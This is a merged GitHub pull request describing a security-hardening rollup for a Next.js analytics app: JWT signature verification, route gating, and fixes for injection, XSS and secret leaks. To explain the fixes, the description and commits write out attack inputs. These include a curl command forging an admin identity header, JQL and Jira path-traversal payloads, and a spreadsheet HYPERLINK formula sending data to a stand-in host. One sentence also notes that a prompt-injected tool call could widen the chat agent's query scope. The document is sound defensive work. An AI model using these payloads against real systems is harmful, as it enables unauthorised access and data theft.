Skip to content

Security hardening rollup: verify OIDC JWTs, gate every route, Next 16 — supersedes #78/#79/#80 - #81

Merged
msogin merged 17 commits into
Smartling:mainfrom
maxsogin:security/ci-hardening
Oct 5, 2026
Merged

msogin merged 17 commits into
Smartling:mainfrom
maxsogin:security/ci-hardening

Conversation

@maxsogin

@maxsogin maxsogin commented Oct 3, 2026

Copy link
Copy Markdown
Contributor

Security hardening rollup — supersedes #78, #79, #80

Fixes the security findings from the Aikido feed (114 issues) and the manual
review in security-review/. Nine commits, each independently reviewable and
revertable. Replaces PRs #78, #79 and #80 — see "Why those are superseded"
below; #78 in particular should not be merged.

Results

Before After
npm audit --omit=dev 2 critical, 11 high 0 vulnerabilities
npm audit (incl. dev) 21 total 1 low (esbuild, Windows-only dev server)
Aikido local scan (36 files) 18 findings 9, all previously-verified false positives
Jest 1844 passing / 184 suites 1936 passing / 189 suites
tsc --noEmit clean clean
next build green green (Turbopack, now the Next 16 default)

Commits

Commit What
security(deps) next 15.1.3 → 16.3.8, mysql2 → 3.24.5, sharp → 0.35.5, uuid → 11.1.1, csv-parse removed
security(ci) Least-privilege workflow tokens, correct action SHA pins, no script injection
security(auth) Verify the OIDC JWT signature instead of trusting the header
security(authz) Deny-by-default proxy.ts gate + ALLOWED_ORGS allowlist
security(injection) JQL, Jira REST path, 4 XSS sinks, CSV formula injection
security(disclosure) /api/llm-config secrets, /api/debug/headers deleted, generic errors
security(runtime) Non-root container, supported Node, security headers
security(logs) logSafe() log-injection guard, prompt-loader containment
security(auth) #2 Pin JWT algorithms on the JWKS branch too

The three that matter most

1. The identity header was never verified. extractUser() split
x-amzn-oidc-data on ., base64-decoded segment one, and trusted email and
groups verbatim — no signature, no expiry, no issuer. That header is an
ordinary HTTP header once it leaves the load balancer, so anything able to reach
the app port was whichever identity, in whichever groups, it claimed:

PAYLOAD=$(printf '{"email":"x@y","groups":["splunk-admin"]}' | base64)
curl -X POST http://app:3000/api/report -H "x-amzn-oidc-data: e30.$PAYLOAD.sig"

That forged header satisfied requireAdmin() and unlocked report deletion,
schedule CRUD, Jira issue transitions and due-date writes, vulnerability syncs,
and — because buildCostVisibility() short-circuits for admins — every
developer's Claude spend. AWS documents signature verification as mandatory for
this header for exactly this reason.

Now verified with jose: algorithm pinned from our side (so alg: none and HMAC
substitution are rejected rather than read out of the token), exp/nbf
enforced, iss enforced when configured, and two key modes —
AUTH_ALB_REGION (ALB serves one PEM per kid; it publishes no JWKS document)
or AUTH_JWKS_URL. Enabled-but-unconfigured denies every request rather than
falling back to trusting the header.

2. Authorization was opt-in per handler. 24 of 62 exported handlers
referenced no auth function at all. Reachable with nothing but network access:
/api/vulnerabilities/alerts (the org's unpatched critical CVEs with SLA due
dates — a prioritised target list), every /api/report/* read,
/api/settings/user-mappings (the GitHub↔Jira identity table), POST /api/chat
(an LLM agent over seven DB tools), and /api/developers?source=github plus
POST /api/settings/github/test-connection, which both proxy the server's
GitHub PAT at a caller-chosen org.

Two of the vulnerability route files even carried the comment "Readable by every
signed-in user … Do not add requireAdmin"
— documenting a signed-in check that
nothing in the request path performed.

src/proxy.ts now requires a verified identity for everything except
/api/health. requireAdmin stays in the handlers: the gate establishes
authentication, handlers enforce authorization. The matcher is deliberately broad
so a new route is covered by default rather than needing to be remembered.

3. Stored XSS in four places. The dev summary, team pulse and two chat-panel
sites pushed LLM narrative into dangerouslySetInnerHTML after a few markdown
regexes, escaping nothing. That text derives from commit messages, PR titles,
branch names and Jira summaries — writable by anyone who can push to a scanned
repo — and the dev summary is persisted to developer_summaries, so one
injection was replayed to every later viewer including admins, with no CSP to
contain it and no CSRF token to stop the resulting script driving admin routes.
All four now use one SafeMarkdown component that returns React elements, so
text nodes are escaped by React.

Why #78, #79 and #80 are superseded

#78 — do not merge. Three independent problems:

  • Its lockfile recorded integrity: sha512-PiZLhL… for next@15.2.0, which
    matches neither 15.2.0 (sha512-VaiM7s…) nor 15.1.3 (sha512-5igmb8…). The
    hash was not produced by an install, so npm ci aborts with EINTEGRITY
    and the Docker build cannot run. Its own CI confirms this.
  • It does not fix the CVE in its title. The React-flight RCE is patched on the
    15.2 line only at 15.2.6; the affected range is
    >=15.2.0-canary.0 <15.2.6, so 15.2.0 is inside it.
  • It leaves 4 criticals and 12 highs open, and adds two highs whose affected
    ranges begin at 15.2.0 (App Router proxy bypass via segment-prefetch), which
    15.1.3 was not subject to. 15.x also reaches end of security support on
    2026-10-21 regardless.

This PR goes to 16.3.8 (Active LTS, supported to at least Oct 2027) via a real
npm install, so every integrity hash is the one the registry serves. Migration
surface was verified nil before upgrading: no next/image, no next/headers,
all dynamic route params already Promise-typed, no parallel routes, no custom
webpack config, no next lint, no next/cache.

#79 — right idea, two wrong pins. actions/checkout@11bd719… is tagged
v4.2.2 but commented # v5.2.2; actions/setup-node@39370e39… is tagged
v4.1.0 but commented # v5.1.1. Neither claimed tag exists. It silently
downgraded both actions across a major version while labelling them v5 — and a
false version comment defeats the one maintainability benefit pinning has. All
five pins here were resolved from the upstream tag refs and verified against
their comments.

#80 — correct but incomplete. test.yml still had no permissions: block at
all (that's the workflow which runs on pull_request, i.e. the fork-PR path);
build-and-push's checkout still persisted credentials; and the
${{ github.ref }} script injection was untouched.

Scope notes — what this deliberately does not do

Per-user tenancy. ALLOWED_ORGS closes the credentialed-GitHub-proxy problem
outright and bounds cross-tenant reads to orgs an operator deliberately hosts
together. Deciding which orgs a particular user may see needs a membership
model (an OIDC group claim or an explicit table) and is a product decision, not
something to invent in a security fix. Report lookups are still keyed on a global
report id.

Rate limiting. Several endpoints still do expensive LLM work on demand and
accept a caller-supplied refresh=true. Fixing properly needs a token-bucket
store and a budget policy.

New / changed configuration

Variable Effect
AUTH_ALB_REGION or AUTH_JWKS_URL Required when AUTH_ENABLED=true — how the token signature is verified. Without one, all requests are denied.
AUTH_EXPECTED_ISS Optional; pins the iss claim.
AUTH_JWKS_ALGS Optional; default RS256,ES256.
AUTH_ALLOW_ANONYMOUS_ADMIN Required to open admin routes when AUTH_ENABLED=false in production.
ALLOWED_ORGS Recommended. Unset accepts any well-shaped org name (preserves existing installs); validateEnv warns.
AUTH_TEST_ALLOW_IN_PRODUCTION Removed. It made a full authentication bypass a supported configuration, and docker-compose.yml passed it through.
DB_USER, DB_PASSWORD, MYSQL_ROOT_PASSWORD Now required by docker-compose.yml (were hardcoded literals).

AUTH_ENABLED unset now means enabled in production. The old === 'true'
test let a dropped env var silently turn every authorization check into "allow".

Verification still needed

Could not be exercised from my environment:

  • CI going green. better-sqlite3 has no prebuilt binding for the local
    Node 26 ABI, so 13 of 202 suites fail locally on that alone — identical to the
    pre-change baseline, and expected to pass on CI's Node 22.
  • docker run --rm <image> id returning uid=1000. No container runtime
    available locally.
  • The CSP against real traffic. script-src 'self' with no unsafe-inline
    is the directive that blocks an injected handler; unsafe-inline remains in
    style-src because Recharts and chart.tsx's CSS-variable block need it, and
    img-src allows avatars.githubusercontent.com. Consider deploying as
    Content-Security-Policy-Report-Only first.

Note on the test suite

Five suites asserted the vulnerable behaviour as expected. auth.test.ts built
tokens signed with the literal string "fakesignature" and asserted
extractUser accepted them; four others asserted that Jira API error (403)
and xxxxx12345 reach the client. All are rewritten as regression guards rather
than deleted.

maxsogin and others added 15 commits October 2, 2026 15:43
…visories

Replaces Aikido AutoFix PR Smartling#78, which did not fix the vulnerability named in
its own title and could not be installed at all.

Why Smartling#78 was unusable:
  - It targeted next@15.2.0. The React-flight RCE it cited is patched on the
    15.2 line only at 15.2.6; the advisory's affected range is
    >=15.2.0-canary.0 <15.2.6, so 15.2.0 is inside it.
  - Its lockfile recorded integrity sha512-PiZLhL... for next@15.2.0, which
    matches neither 15.2.0 (sha512-VaiM7s...) nor 15.1.3 (sha512-5igmb8...).
    The hash was not produced by an install, so `npm ci` aborts with
    EINTEGRITY and the Docker build cannot run.
  - It left 4 criticals and 12 highs open, and ADDED two highs whose affected
    ranges begin at 15.2.0 (App Router proxy bypass via segment-prefetch),
    which 15.1.3 was not subject to.
  - 15.x reaches end of security support on 2026-10-21 regardless.

This change instead moves to 16.3.8 (Active LTS, supported to at least
Oct 2027) via a real `npm install`, so every integrity hash is the one the
registry serves.

  next     15.1.3  -> 16.3.8    (0 advisories; was 34)
  react    19.0.0  -> 19.3.0
  mysql2   3.19.0  -> 3.24.5    (auth-plugin downgrade leaking plaintext
                                 credentials, GHSA-3f6p-5ww8-9rcr)
  uuid     11.1.0  -> 11.1.1
  sharp    0.33.5  -> 0.35.5    (transitive; two libvips/libheif advisories)
  @aws-sdk/client-bedrock-runtime bumped to clear the fast-xml-parser chain
  csv-parse removed entirely — it was declared but imported nowhere, so it
  was pure attack surface (prototype pollution via the `columns` path)

Production audit: 2 critical / 11 high -> 0 vulnerabilities.
Full audit incl. dev: 1 low (esbuild, Windows-only dev server; not applicable).

Next 16 migration surface in this repo is nil, verified before upgrading:
no next/image import, no next/headers import, all dynamic route params
already Promise-typed, no parallel routes, no custom webpack config, no
`next lint`, no next/cache usage, no serverRuntimeConfig.

Verified: tsc --noEmit clean, `next build` green under Turbopack (now the
default), jest 184/197 suites passing — byte-identical to the pre-upgrade
baseline. The 13 failing suites fail only because better-sqlite3 has no
prebuilt binding for the local Node 26 ABI; they are unrelated to this change
and are expected to pass in CI on Node 20/22.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…injection

Replaces Aikido AutoFix PRs Smartling#79 and Smartling#80, keeping what they got right and
fixing what they got wrong.

What Smartling#79 got wrong — two of its five pins did not say what they claimed:
  actions/checkout@11bd71901bbe... is tagged v4.2.2, commented "# v5.2.2"
  actions/setup-node@39370e3970a6... is tagged v4.1.0, commented "# v5.1.1"
Neither v5.2.2 nor v5.1.1 exists. It silently downgraded both actions across
a major version while labelling them v5, and a false version comment defeats
the one maintainability benefit pinning has. All five pins here were resolved
from the upstream tag refs and verified to match their comments.

What Smartling#80 left open:
  - test.yml had no `permissions:` block at all — that is the workflow which
    runs on `pull_request`, i.e. the fork-PR path, and it inherited the
    repository default token scope while building untrusted code.
  - build-and-push's checkout still persisted credentials.
  - The `${{ github.ref }}` script injection was untouched.

Changes:
  - docker-publish.yml: `permissions: {}` at workflow level, so no job
    inherits anything; `contents: read` on test; `contents: read` +
    `packages: write` scoped to build-and-push only.
  - test.yml: `permissions: contents: read` (was absent).
  - persist-credentials: false on all three checkout steps, so the job token
    is not left in .git/config where pull-request code can read it.
  - All five actions pinned to verified full commit SHAs with accurate
    comments (checkout v5.1.0, setup-node v5.0.0, setup-buildx v3.12.0,
    login-action v3.7.0, build-push-action v6.19.2).
  - github.sha / github.event_name / github.ref are passed through `env:`
    instead of being interpolated into the tag-computation script. GitHub
    substitutes ${{ }} textually before bash runs, and github.ref derives
    from a branch name, which may contain quotes, backticks, $() or newlines
    — so a contributor-chosen branch name could execute commands in a job
    holding packages: write.
  - :latest is now published only when the built commit is still the head of
    main. Re-running an old run replays its SHA while event_name and ref both
    still read as a push to main, so the previous check let a rerun move
    :latest backwards onto superseded code.

Verified: both files parse as YAML; 0 unpinned actions; 0 ${{ }} expressions
inside any run block; all 3 checkouts set persist-credentials: false.
CI itself cannot be exercised from here — these need a live run to confirm
green, which is why no behavioural step (test command, Node version) changed
in this commit.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… header

extractUser() split the identity header on '.', base64-decoded segment one,
JSON.parsed it, and trusted `email`, `sub` and `groups` verbatim. No signature
check, no expiry, no issuer, no algorithm pinning. `x-amzn-oidc-data` is an
ordinary HTTP header once it leaves the load balancer, so anything able to open
a TCP connection to the app port was whichever identity, in whichever groups,
it chose to claim:

    PAYLOAD=$(printf '{"email":"x@y","groups":["splunk-admin"]}' | base64)
    curl -X POST http://app:3000/api/report -H "x-amzn-oidc-data: e30.$PAYLOAD.sig"

That forged header satisfied requireAdmin() and unlocked report deletion,
schedule CRUD, Jira issue transitions and due-date writes, vulnerability syncs,
and — because buildCostVisibility() short-circuits for admins — every
developer's Claude spend. AWS documents signature verification as mandatory
for this header for exactly this reason.

The previous auth.test.ts built its tokens with the literal signature
"fakesignature" and asserted extractUser ACCEPTED them, so the suite encoded
the vulnerability as expected behaviour. cost-visibility.test.ts and
is-admin.test.ts likewise relied on unsigned tokens resolving. All three now
use real keys, and the central new case is that a tampered signature is
refused.

Verification (src/lib/auth.ts):
  - jose jwtVerify with the algorithm pinned from our side, so alg:none and
    HMAC-substitution are rejected rather than read out of the token.
  - Two modes, because this app sits behind two identity-injecting proxies:
    AUTH_ALB_REGION fetches one PEM per kid from
    public-keys.auth.elb.<region>.amazonaws.com (ALB publishes no JWKS
    document), and AUTH_JWKS_URL handles any standard JWKS endpoint. Keys are
    cached; the kid is pattern-checked first so it cannot steer the fetch off
    the AWS host.
  - exp/nbf enforced with 60s tolerance; iss enforced when AUTH_EXPECTED_ISS set.
  - Enabled but unconfigured denies every request and logs loudly, rather than
    falling back to trusting the header.
  - Returns null on any failure and never throws, so a key-fetch outage denies
    access instead of granting it.

Fail closed (F-04). isAuthEnabled() was `=== 'true'`, so a dropped or
misspelled env var silently turned isAdmin() into `true`, requireAdmin() into
"not denied", and buildCostVisibility() into an omniscient predicate — no
error, no log line. Unset now means enabled in production, and
AUTH_ENABLED=false in production additionally requires
AUTH_ALLOW_ANONYMOUS_ADMIN=true before admin routes open. validateEnv() now
emits a startup banner whenever authentication is off at all, which it
previously never did.

Remove the production auth bypass (F-05). AUTH_TEST_ALLOW_IN_PRODUCTION let
AUTH_TEST_USER fabricate an identity for every request under
NODE_ENV=production, making a complete authentication bypass a documented,
supported configuration — and docker-compose.yml passed it straight through,
so any environment built from that template was one variable away from it. The
flag is gone and the bypass is inert in production by construction; the compose
file no longer forwards AUTH_TEST_* at all. Local flows should run a
development build.

extractUser() is async now (key fetch + verification). All six call sites
updated: logger, cost-visibility, auth/me, mcp, skip-allowlist, vulnerability
sync. isAdmin()/requireAdmin() are async too.

jest.config.ts: jose is ESM-only with no CJS build, so it needs transforming
and a transformIgnorePatterns entry — without both, every suite touching auth
dies with "Cannot use import statement outside a module" pointing at
jose/dist/webapi/index.js, which reads like a transform-config problem rather
than an ESM one. Same shape as the existing @octokit entry.

Verified: tsc --noEmit clean; next build green; 28 new auth tests pass
including forged-signature, swapped-payload, alg:none, expired, unknown-kid and
kid-path-escape cases; full suite 184/197 suites and 1861 tests passing —
identical suite count to the pre-change baseline, with the 13 failures being
better-sqlite3's missing native binding on the local Node 26 ABI.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Authorization was opt-in per handler. Of 62 exported route handlers, 24 lived
in files that referenced no auth function at all, so with nothing but network
reach to the port a caller could read:

  /api/vulnerabilities/alerts   the org's unpatched critical/high Dependabot
                                alerts with SLA due dates — a prioritised,
                                pre-verified target list
  /api/report, /api/report/[id]/{org,dev,commits,jira-issues}
                                every developer's impact score and AI-usage %
  /api/settings/user-mappings   the GitHub login <-> Jira email mapping table
  /api/developers?source=github the server's GitHub PAT, aimed at an
                                attacker-chosen org
  POST /api/settings/github/test-connection
                                every org that PAT can see
  POST /api/chat                an LLM agent over seven DB query tools

Two of the vulnerability route files even carried the comment "Readable by
every signed-in user ... Do not add requireAdmin" — documenting a signed-in
check that nothing in the request path performed.

src/proxy.ts (Next 16 renamed this convention from `middleware`; its runtime is
nodejs and cannot be configured, which is what lets it call extractUser and so
verify a signature) now requires a verified identity for every path except
/api/health. requireAdmin stays in the handlers: the gate establishes
authentication, handlers enforce authorization. A new route can no longer ship
unauthenticated by omission — the matcher is deliberately broad rather than an
API path list.

src/lib/orgs/guard.ts validates the caller-supplied `org`, which previously was
checked against nothing on any of the ~14 routes that accept it:
  - A shape check runs regardless of configuration, because the value reaches
    GitHub API paths and org-scoped SQL.
  - ALLOWED_ORGS restricts which orgs this deployment will serve. Unset accepts
    any well-shaped name so existing single-org installs keep working;
    env-validation warns in that state.
  - Rejection is 404, not 403, and never echoes the submitted value, so the
    response does not confirm which orgs exist here.
Wired into all 11 org-accepting handlers (query string and JSON body).

chat/agent.ts now OVERWRITES fnArgs.org instead of defaulting it. The previous
`if (!fnArgs.org)` let the model supply its own org, so a prompt-injected tool
call could widen a query past the org the request was scoped to.

POST /api/settings/github/test-connection is now admin-gated. It enumerates
every organisation the PAT can reach, which makes it a credentialed
reconnaissance primitive rather than a connectivity probe, and it was the only
*_test-connection route without a gate.

Scope note: this does not implement per-user tenancy — deciding which orgs a
*particular* user may see needs a membership model (an OIDC group claim or an
explicit table) and is a product decision, not something to invent in a
security fix. What it does establish is that the reachable org set is the
configured one rather than any string on the internet, which closes the
credentialed-proxy problem outright and bounds cross-tenant reads to orgs an
operator deliberately hosts together. Report lookups are still keyed on a
global report id; see the PR description.

Verified: tsc --noEmit clean; `next build` registers "ƒ Proxy (Middleware)";
32 new tests across the gate and the guard; full suite 186/199 suites and 1893
tests passing, with the same 13 better-sqlite3 binding failures as baseline.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…injection

Four injection sinks, three of them reachable without credentials.

1. JQL injection (jira/client.ts:314). searchChildIssues built

     `"Epic Link" = ${epicKey} OR parent = ${epicKey} ORDER BY resolutiondate DESC`

   with no quoting or validation, and epicKey was the [key] path segment of
   GET /api/projects/[key]/stats and /summary. Because the interpolation was
   unquoted the value controlled query *structure*, not just a literal, so
   `X-1 OR project = HR` read across the whole Jira instance with the
   integration account's visibility and echoed the issues back in the response.
   Now validated by assertIssueKey and quoted — the same discipline
   jira-projects/jql.ts already applied to project keys and status names.

2. Jira REST path injection (jira/client.ts:261,275,290). getTransitions,
   transitionIssue and updateDueDate interpolated the same unvalidated,
   unencoded key into `/issue/${issueKey}/...`. Next decodes path segments, and
   the WHATWG URL parser normalises `..`, so a key of `..%2F..%2Fmyself`
   addressed an arbitrary Jira endpoint with these credentials. Each site now
   validates and encodeURIComponent's the key, and jiraFetch additionally
   refuses any path that does not resolve under /rest/api/<version>/ — a
   backstop that makes the whole class non-exploitable at the sink regardless
   of caller discipline. Note findUserByEmail already encoded its input, so the
   omission was inconsistent within the file rather than a house style.

   All four [key] routes also validate at the boundary, so a malformed key is a
   400 rather than a 500 from inside the client, and never reaches a log line.

3. Stored XSS — four sinks (dev page:401, team page:469, chat-panel:272,276).
   Each pushed LLM narrative into dangerouslySetInnerHTML after a few markdown
   regexes, escaping nothing. The text derives from commit messages, PR titles,
   branch names and Jira summaries — writable by anyone who can push to a
   scanned repo — and the dev summary is persisted to developer_summaries, so
   one injection was replayed to every later viewer including admins, with no
   CSP to contain it and no CSRF token to stop the resulting script driving
   admin routes.

   Replaced by one SafeMarkdown component returning React elements, so text
   nodes are escaped by React and there is no path from a tag in the model's
   output to a tag in the DOM. It supports exactly the vocabulary those sites
   used (## heading, - bullet, **bold**, `code`, @mention). renderPulseMarkdown
   and formatInline are deleted. One shared renderer is the point: the
   prompt-side hardening was uneven precisely because every call site
   re-invented it.

   The remaining dangerouslySetInnerHTML in components/charts/chart.tsx is a CSS
   variable block whose identifiers go through cssIdent and which takes
   developer-supplied config, not untrusted input.

4. Spreadsheet formula injection in the CSV and Google Sheets exports
   (team page:113,142) — found by Aikido, missed by my own review. Quoting
   alone does not help: Excel, Sheets and LibreOffice evaluate a cell beginning
   =, +, -, @ or a tab/CR as a formula even when quoted. The exported
   Developer, Types and Active Repos columns are all attacker-influenced, and
   the team export is copied to the clipboard for pasting straight into a new
   Google Sheet, so `=HYPERLINK("https://evil.example?x="&A1,"click")` became a
   live formula in the recipient's spreadsheet. New lib/csv.ts prefixes a
   single quote on those leads and collapses CR/LF so a value cannot forge
   extra rows; both export paths use it.

Verified: tsc --noEmit clean; next build green; 28 new tests covering the JQL
payloads, the path-escape payloads and every formula lead; full suite 187/200
suites and 1921 tests passing, with the same 13 better-sqlite3 binding failures
as baseline. jira-client.test.ts assertions updated because jiraFetch now
passes a URL object so the base-path guard can inspect it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…am errors

1. GET /api/llm-config had no auth gate and returned the full AppConfig:
   the last five real characters of GITHUB_TOKEN, LLM_API_KEY and
   SMARTLING_USER_SECRET; SMARTLING_ACCOUNT_UID and
   SMARTLING_USER_IDENTIFIER in full; the Jira host and service-account
   username; the LLM endpoint; and `missing[]`, which enumerates precisely
   which credentials are absent.

   src/app/page.tsx fetches this endpoint on every homepage load purely for
   `latestReport.org`, so the payload also reached every ordinary user's
   browser memory, devtools and HAR captures — not just deliberate callers.
   The response is now split: admins get the full config, everyone else gets
   provider/model/ready/vulnerabilities plus latestReport, which is all the
   homepage needs.

   maskSecret's `'xxxxx' + value.slice(-5)` is replaced by a truncated SHA-256
   fingerprint. Five real characters are enough to confirm which token a
   deployment uses against a dump obtained elsewhere; a hash answers "is this
   the token I think it is?" and nothing else. The two Smartling identifiers
   are fingerprinted too — they are credential components, not display names,
   and with a leaked userSecret they authenticate directly against Smartling's
   auth-api.

2. Deleted /api/debug/headers and /debug/headers. The endpoint reflected every
   request header and base64-decoded both x-amzn-oidc-data and
   x-amzn-oidc-accesstoken, returning the decoded JOSE header and payload — all
   unauthenticated, in the production build, with the page labelled "Debug page
   — not linked from navigation", i.e. security by obscurity. Its practical
   value to an attacker was as a free oracle for validating a forged identity
   header before spending a request on a real route, and for learning whether
   they were reaching the app through the ALB or directly.

3. Raw upstream error text is no longer returned. Twelve handlers serialised
   err.message, and several of those messages embed an entire upstream
   response: jiraFetch threw `Jira API error (status): <full body>`, Octokit
   errors carry request URLs and rate-limit state, LLM errors carry the
   provider endpoint, model and quota detail. On the unauthenticated routes
   that was an oracle — most consequentially it turned the JQL injection into
   an interactive one, because Jira's own parse errors came back naming fields
   and positions.

   New lib/api-error.ts logs server-side and returns a stable
   `{ error: 'internal_error' }`, mirroring the policy mcp/tools.ts already
   documented. Authored messages stay: ReportNotFoundError,
   JiraNotConfiguredError, TeamDuplicateError and validation failures are
   contract, not leakage. jiraFetch additionally truncates the upstream body to
   200 chars so even the admin-gated test-connection paths cannot echo a whole
   Jira response. /api/health no longer returns the GitHub fetch failure text,
   which could name the proxy, DNS or token state.

Four test suites asserted the leaky behaviour and are rewritten as regression
guards — they expected `Jira API error (403)` and `xxxxx12345` to reach the
client, the same shape as auth.test.ts asserting that "fakesignature" was
accepted.

Verified: tsc --noEmit clean; next build green with no debug route in the
manifest; logger-enforcement still passes; full suite 187/200 suites and 1922
tests passing, with only the 13 better-sqlite3 binding failures.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…y headers

Container (Aikido CKV_DOCKER_3, sev 65):
  - USER node. The runner stage issued no USER directive, so `node server.js`
    ran as uid 0. With four critical unauthenticated-RCE advisories open against
    the shipped framework, any one of them started as root — free to backdoor
    server.js for persistence across restarts, apk add tooling, read
    /proc/1/environ, and attempt escapes that need privileged operations.
    Copies are --chown=node:node.
  - node:20-alpine -> node:22.23.3-alpine pinned by digest. Node 20 reached end
    of life on 2026-04-30, so the runtime had stopped receiving upstream
    security patches entirely — in a product whose purpose is tracking its
    customers' overdue CVEs. The digest also makes the build reproducible and
    stops a retagged upstream being consumed silently.
  - HEALTHCHECK added (previously only compose had one, so a bare `docker run`
    had no liveness signal).
  - Node version now agrees across .nvmrc, both workflows and the Dockerfile;
    they had drifted to 20 everywhere while Next 16 requires >=20.9.

docker-compose.yml:
  - DB credentials were the literals glooker/glooker and rootpassword, not
    ${VAR} references, so they could not be overridden and would be used
    verbatim by anyone who ran the file — including as a staging template.
    Now `${VAR:?...}`, so compose refuses to start rather than starting with
    known credentials (verified: it errors without them).
  - Dropped `ports: 3307:3306` on MySQL. The app reaches it over the compose
    network; publishing it exposed a database whose password was in the file.
  - App port bound to 127.0.0.1. Publishing on all interfaces put an
    application whose auth defaulted to off onto the host's network.

next.config.ts set no response headers at all. Added CSP, HSTS,
X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy and
COOP. Individually minor; together they are the layers that would have contained
the stored-XSS sinks and the UI-redress variant of the missing CSRF defence.
script-src is 'self' with no 'unsafe-inline' — that is the directive that
actually blocks an injected handler. 'unsafe-inline' remains in style-src
because Recharts and chart.tsx's CSS-variable block emit inline styles, and
img-src allows avatars.githubusercontent.com because developer_stats.avatar_url
is rendered throughout. Operators unsure of their asset set should deploy as
Content-Security-Policy-Report-Only first.

Verified: tsc --noEmit clean; next build green; 6 new header tests; full suite
188/201 suites and 1928 tests passing, only the 13 better-sqlite3 binding
failures. The image itself could not be built or run here (no container runtime
available), so `docker run --rm <image> id` returning uid=1000 still needs
confirming in CI.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…paths

logSafe() in logger.ts strips CR, LF, U+2028/U+2029 and control characters
(including ANSI escapes) before a value is interpolated into a plaintext log
line, and caps length.

Five console.error sites interpolated the raw `[key]` route segment, three of
them on unauthenticated routes, and Next delivers that segment URL-decoded — so
a key containing %0A forged whole log entries, including plausible
successful-authentication events, and ANSI escapes could corrupt a
terminal-based review. Combined with the JQL injection on those same routes it
also gave an attacker a way to bury their own probing in noise.

Scope is deliberately the console stream only: requests.log and errors.log are
written with JSON.stringify, which escapes newlines, so the structured audit
record was never forgeable. That is why this is Low rather than Medium.

The five `[key]` sites are already covered by this commit's companions — the
route-boundary issue-key validation in the injection commit rejects CR/LF before
any logging happens, and the error-handling commit removed the console.error
calls that duplicated what internalError now logs. logSafe is applied where
untrusted text still reaches a log line: report-runner's shared log(), which
carries `org` and integration error text.

prompt-loader.ts now resolves template paths and refuses anything outside
PROMPTS_DIR. Every current call site passes a hardcoded literal, so Aikido's
path-traversal finding there is a false positive today — but the function is safe
by call-site discipline alone, and a future feature letting a user pick a
template (plausible in a product that already exposes `promptsDir` through its
settings API) would make it a real traversal with no change to this file. Four
lines to make that structurally impossible instead of relying on review.

Its not-found error no longer echoes the resolved absolute path either: two
handlers used to return err.message to unauthenticated callers, so a
PROMPTS_DIR misconfiguration would have disclosed the container's filesystem
layout.

Verified: tsc --noEmit clean; next build green; 8 new tests; full suite 189/202
suites and 1936 tests passing, only the 13 better-sqlite3 binding failures.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The ALB branch already passed `algorithms: ['ES256']`, but the AUTH_JWKS_URL
branch passed none — so jose would accept whatever algorithm the JWKS document
advertised, handing algorithm choice to the key document rather than to us.
Now allowlisted (RS256,ES256 by default, overridable via AUTH_JWKS_ALGS).

Also records why the "unsafe JWT decode" pattern does not apply to the
decodeProtectedHeader call: it reads `alg`/`kid` only to select a signing key and
to reject obviously-wrong algorithms early. jwtVerify is the authority and now
carries an explicit allowlist on both paths, so a token lying about `alg` cannot
influence what is actually accepted — the pre-filter can only reject, never
admit. Worth stating in the file, because a scanner flagging this at severity 87
will come up again.

next-env.d.ts and tsconfig.json are Next 16's own typegen output, written by
`next build` during the upgrade (routes/root-params type references,
jsx: preserve -> react-jsx, and the .next/dev/types include).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
# Conflicts:
#	CLAUDE.md
#	src/app/api/llm-config/route.ts
…the app

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…T verification change)

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
A static `script-src 'self'` blocks the inline scripts Next's App Router uses
to bootstrap hydration (`self.__next_f.push(...)`, the RSC payload). In a real
browser every page rendered as static HTML with no data and React error #412;
curl-based checks can't see it.

proxy.ts now mints a 128-bit nonce per request and sends
`script-src 'self' 'nonce-…' 'strict-dynamic'` on both the request (Next stamps
the nonce on its own scripts) and the response. An injected inline script
still can't run — verified in headless Chrome under the same policy. The root
layout calls `connection()` so pages render per request; a prerendered page
would ship scripts without the request's nonce. The other security headers
stay static in next.config.ts.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…d identity path

Dev has two ways in: browsers through the ALB (signed x-amzn-oidc-data,
AUTH_ALB_REGION) and MCP clients through mcp-okta-proxy. The sidecar used to
inject an unsigned alg=none JWT into x-amzn-oidc-data, which signature
verification correctly rejects — so with one verification mode, either the
browser or MCP was locked out.

The sidecar now forwards the caller's original, already-validated Okta access
token in x-okta-access-token (mcp-okta-proxy 0.2.17,
OKTA_MCP_PROXY_ACCESS_TOKEN_HEADER_NAME). extractUser verifies it against Okta's
JWKS — RS256 pinned, issuer, audience, expiry, optional cid — and reads
email/groups from Okta /userinfo with that token (Okta's org server omits them
from access tokens), cached per token for at most 5 minutes and never past
expiry. Any failure denies.

The Okta token counts only on OKTA_TOKEN_PATHS (/api/mcp): proxy.ts strips the
header from every other request via sanitizeIdentityHeaders, so a captured MCP
token can't drive the UI. Config AUTH_OKTA_ISSUER + AUTH_OKTA_AUDIENCE (both,
or the path is off; validateEnv errors on half-config), optional
AUTH_OKTA_CLIENT_ID, JWKS/userinfo URLs derived from the issuer.

Also: 401s from the gate now carry default-src 'none' (they had no CSP), and
security-headers tests read the CSP from the proxy, where it now lives.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
… twice and the boot migrations deadlocked

Under Next 16 the db module is instantiated more than once per process, so each
copy created its own pool and ran the boot ALTERs concurrently: 8 'Deadlock found'
errors on a local boot (0 on main/Next 15 under the same load). On a new column
that leaves it silently missing, since initSchema logs and continues. Same
globalThis pattern as the progress and schedule stores; the shared promise also
covers two first calls racing.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@msogin

msogin commented Oct 5, 2026

Copy link
Copy Markdown
Contributor

Pushed 6 commits on top of db52f92 after testing this locally (podman + headless Chrome) and against dev's setup. Summary:

